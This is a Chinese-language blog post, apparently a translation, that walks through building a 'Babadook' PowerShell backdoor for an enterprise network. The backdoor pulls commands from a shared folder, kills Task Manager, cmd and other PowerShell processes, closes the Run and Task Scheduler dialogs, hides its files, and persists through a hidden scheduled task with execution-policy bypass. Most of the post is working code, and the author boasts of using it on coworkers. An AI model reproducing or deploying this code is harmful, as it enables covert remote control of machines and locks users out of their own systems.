当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
无连接的powershell持续性反弹后门
0x01 前置环境
- 机器之前没有直接的联系(vlan隔离)。
- 用户只有访问的权限,没有管理权限,不能下载安装软件。
- 使用了企业反病毒软件。
0x02 当前环境
我使用的是win 10,那么就可以利用powershell这个强大的东西。但面临的问题:无直连,无法开启socket。 因为我们是一个团队,所以我们有一个共享文件夹,那么这个共享文件夹可以被利用起来,我会在这个共享文件夹上放一个脚本,我的后门会读取这个脚本,然后eval()它,简单有效。
-
$SharePath =
"\\ournas\ourteamfolder\somesubfolder"
-
$MyPID = $([System.Diagnostics.Process]::GetCurrentProcess()).Id
-
$Interval =
10
-
$CurrMachineCmdPath =
"$($SharePath)\cmd.$($env:COMPUTERNAME).$($MyPID).ps1"
-
-
# ... some code
-
-
-
# Command parsing loop
-
-
While ($true) {
-
-
If (Test-Path $CurrMachineCmdPath) {
-
Try {
-
& $CurrMachineCmdPath
-
Clear-Content $CurrMachineCmdPath
-
}
Catch [system.
exception] {
-
Log
"Error running script: $_"
-
}
# end :: try/catch
-
-
}
# end :: if
-
-
-
Start-Sleep $Interval
-
}
#end :: while
通过共享文件夹解决了vlan隔离和杀软的问题,我加了一个Clear-Content模块,运行后自动清除。
0x03 多线程和监视模块
我需要让我的后门的主线程等待指令,那么我加了多线程,我还创建了监视模块,当某段时间,变量为true的时候(被控端打开了任务管理器),循环结束任务管理器进程,忽略错误(错误是指当启动任务管理器的时候)。 我也对cmd, wscript 和cscript这些程序进行了同样的操作,目的是掩人耳目。
-
Stop-Process -processname taskmgr -
Force -ErrorAction SilentlyContinue
Stop-Process -processname cmd -
Force -ErrorAction SilentlyContinue
-
Stop-Process -processname wscript -
Force -ErrorAction SilentlyContinue
-
Stop-Process -processname cscript -
Force -ErrorAction SilentlyContinue
同样对vbs和bat的文件产生作用,当结束掉我后门进程之前没法让它完全加载。 后门工作了一段时间由于更新了GPO,阻止PowerShell远程处理,结果断掉了。 所以需要.net和powershell结合的漂亮一点,使原来的解决方案更加容易。
-
$Watchdog = {
# code here }
-
-
-
# "If it's in a word or in a look, you can't get rid of the babadook"
-
-
$Global
:BabadookWatchdog = [PowerShell]
:
:Create().AddScript($Watchdog)
-
$Global
:WatchdogJob = $Global
:BabadookWatchdog.BeginInvoke()
-
-
# ... code ...
-
-
-
# Stop Watchdog
-
-
If ($Global
:BabadookWatchdog -And $Global
:WatchdogJob) {
-
Log
"Stopping Babadook Watchdog"
-
# No EndInvoke because we won't return (while true loop) and we don't care about the return anyway
-
-
$Global
:BabadookWatchdog.Dispose()
| Out-Null
-
Log "Watchdog disposed"
-
}# end :: if
当我同事打算启动任务管理器的时候,我的监视程序立刻结束它,我的同事差点疯掉。 为了确保不会有人打开powershell试图结束进程,我的监视程序会判断打开的powershell是不是我的后门的子程序,如果不是,仍然结束掉。
-
Function
Kill-PS {
-
Stop-Process -processname powershell_ise -
Force -ErrorAction SilentlyContinue #
Kill powershell_ise.Exe
-
-
#
Kill powershell processes which
are
not me
-
-
$AllPS = [
array] $(
Get-Process |
Where-
Object { $_.ProcessName -eq
"powershell" -
And $_.Id -ne
"$MyPID" })
-
If ($AllPS.Count -gt
0) {
-
ForEach ($Proc
in $AllPS) {
Stop-Process -
Id $Proc.ID -
Force -ErrorAction SilentlyContinue }#
end :: foreach
-
-
}#
end ::
if
-
-
}#
end ::
Kill-PS
我的同事仍然在拼命的想要结束我的后门。 有的人只是试图打开运行,然后来结束进程,这对我来说是烦恼的,所以我的阻止他们打开,“运行”这个对话框是内置的,而不是一个进程,不能用传统方式,所以我希望.net的扩展能够更多调用windows的api。
-
Add-Type @
"
-
using System;
-
using System.Runtime.InteropServices;
-
using System.Text;
-
-
public class APIFuncs
-
{
-
[DllImport("user32.dll
", CharSet = CharSet.Auto, SetLastError = true)]
-
public static extern int GetWindowText(IntPtr hwnd,StringBuilder lpString, int cch);
-
[DllImport("user32.dll
", SetLastError=true, CharSet=CharSet.Auto)]
-
public static extern IntPtr GetForegroundWindow();
-
[DllImport("user32.dll
", SetLastError=true, CharSet=CharSet.Auto)]
-
public static extern Int32 GetWindowTextLength(IntPtr hWnd);
-
[DllImport("user32.dll
", SetLastError=true, CharSet=CharSet.Auto)]
-
public static extern int SendMessage(int hWnd, uint Msg, int wParam, int lParam);
-
-
public const int WM_SYSCOMMAND = 0x0112;
-
public const int SC_CLOSE = 0xF060;
-
}
-
"@
-
-
Function Kill-Run {
-
$ForegroundWindow = [apifuncs]::GetForegroundWindow()
-
$WindowTextLen = [apifuncs]::GetWindowTextLength($ForegroundWindow)
-
$StringBuffer =
New-Object text.stringbuilder -ArgumentList ($WindowTextLen +
1)
-
$ReturnLen = [apifuncs]::GetWindowText($ForegroundWindow,$StringBuffer,$StringBuffer.Capacity)
-
$WindowText = $StringBuffer.tostring()
-
if ($WindowText -eq
"Run") {
-
[void][apifuncs]::SendMessage($ForegroundWindow, [apifuncs]::WM_SYSCOMMAND, [apifuncs]::SC_CLOSE,
0)
-
}
# end :: if
-
-
}
# end :: Kill-Run
0x04 隐藏
我怕我的脚本在共享文件夹中被人发现,并且添加代码使之对我的后门产生别的作用,所以我要向监视器中添加代码
-
Function Hide-Me {
-
If (Test-Path $ScriptPath) { $(Get-Item $ScriptPath -Force).Attributes =
"Archive,Hidden" }
-
If (Test-Path $CurrMachineCmdPath) { $(Get-Item $CurrMachineCmdPath -Force).Attributes =
"Archive,Hidden" }
-
If (Test-Path $LogPath) { $(Get-Item $LogPath -Force).Attributes =
"Archive,Hidden" }
-
Set-ItemProperty HKCU:\\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced -Name Hidden -Value
2
# Don't display hidden files
-
-
}
# end :: Hide-Me
最后一条是修改注册表不显示系统文件,这样的话,即使他们改成了显示,那么当在我的变量为true的时候,他会立即变成隐藏。 我自己也想了很多关于结束掉我的后门的方法,所以我针对这些方法,在我的监视器上面进行了响应的阻断策略 同事们可以创建taskkill的快捷方式,于是我对我的监视器进行了一些修改。
-
# ... some code
-
-
-
if ($WindowText -eq
"Run" -
Or $WindowText.Contains(
"Properties")) {
-
[void][apifuncs]::SendMessage($ForegroundWindow, [apifuncs]::WM_SYSCOMMAND, [apifuncs]::SC_CLOSE,
0)
-
}
# end :: if
-
-
-
# ... more code
但是一旦重启了,就会都失效了,那么还要想办法,想到了注册表,可惜没管理员权限,于是想到了计划任务。 复制我的后门脚本以任意命名的方式到本地的机器,然后当每天8点的时候,开机的时候,闲置的时候,运行之。
-
function Babadook-Persist
-
{
-
$CharSet =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
-
$NewName = $(Get-Random -InputObject
$CharSet -Count 8 | % -Begin {
$randStr =
$null } -Process {
$randStr += [char]
$_ } -End {
$randStr }) +
".ps1"
-
$NewPath =
"$($env:LOCALAPPDATA)\$($NewName)"
-
-
Install-Task
$NewPath
-
-
}
# end :: Babadook-Persist
-
-
-
function Install-Task (
$BBDPath) {
-
$CommandArguments =
"-executionpolicy bypass -windowstyle hidden -f `"$(
$BBDPath)`
""
-
$taskRunAsuser = [Environment]::UserDomainName +
"\" + $env:USERNAME
-
-
$service = new-object -com("Schedule.Service
")
-
$service.Connect()
-
$rootFolder =
$service.GetFolder("\
")
-
-
Try {
-
-
$rootFolder.GetTask("\Babadook
") | Out-Null
-
Log "Babadook persist task already installed
"
-
-
} Catch {
-
-
Log "Copying Babadook to
local machine at `
"$($BBDPath)`"
"
-
Copy-Item $script:MyInvocation.MyCommand.Path $BBDPath -Force
-
Log "Installing Babadook persist task
"
-
-
$taskDefinition = $service.NewTask(0)
-
-
$regInfo = $taskDefinition.RegistrationInfo
-
$regInfo.Description = 'Ba-ba-ba DOOK DOOK DOOK'
-
$regInfo.Author = $taskRunAsuser
-
-
$settings = $taskDefinition.Settings
-
$settings.Enabled = $True
-
$settings.StartWhenAvailable = $True
-
$settings.Hidden = $True
-
-
$triggers = $taskDefinition.Triggers
-
-
# Triger time
-
-
$triggerDaily = $triggers.Create(2)
-
$triggerDaily.StartBoundary = "$(Get-Date -Format
'yyyy-mm-dd')T0800
"
-
$triggerDaily.DaysInterval = 1
-
$triggerDaily.Enabled = $True
-
-
# Trigger logon
-
-
$triggerLogon = $triggers.Create(9)
-
$triggerLogon.UserId = $taskRunAsUser
-
$triggerLogon.Enabled = $True
-
-
# Trigger Idle
-
-
$triggerIdle = $triggers.Create(6)
-
$triggerIdle.Enabled = $True
-
-
$Action = $taskDefinition.Actions.Create(0)
-
$Action.Path = 'powershell.exe'
-
$Action.Arguments = $CommandArguments
-
-
$rootFolder.RegisterTaskDefinition( 'Babadook', $taskDefinition, 6, $null , $null, 3) | Out-Null
-
-
}# end :: try/catch
-
-
}# End :: Install-Task
关于计划任务,了解更多请点击:https://msdn.microsoft.com/en-us/library/windows/desktop/aa383607(v=vs.85).aspx 目前为止看起来干的很漂亮,直到我觉得需要一些并发控制。
-
# Wait for mutex
-
-
[bool]$MutexWasCreated = $false
-
$BabadookMutex =
New-Object System.Threading.Mutex($true, $BabadookMutexName, [ref] $MutexWasCreated)
-
if (!$MutexWasCreated) {
-
Log
"Babadook Mutex found, waiting release..."
-
$BabadookMutex.WaitOne() | Out-
Null
-
Log
"Babadook Mutex acquired"
-
}
else {
-
Log
"Babadook Mutex installed"
-
}
# end :: if
-
-
-
# ... code ...
-
-
-
# Release Mutex
-
-
Log
"Releasing Babadook Mutex"
-
$BabadookMutex.ReleaseMutex();
-
$BabadookMutex.Close();
我得需要组织他们打开计划任务的对话框啊哈哈我真贱。于是我添加了一个if判断。
-
if ($WindowText -eq
"Run" -
Or $WindowText.Contains(
"Properties") -
Or $WindowText.Contains(
"Task Scheduler")) {
-
[void][apifuncs]::SendMessage($ForegroundWindow, [apifuncs]::WM_SYSCOMMAND, [apifuncs]::SC_CLOSE,
0)
-
}
# end :: if
到目前为止,我就拥有了:
- 无连接的后门
- 监视器
- 持久性
- 并发控制
参考链接:
https://wroot.org/posts/babadook-connection-less-powershell-persistent-and-resilient-backdoor/
http://www.mottoin.com/detail/542.html
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重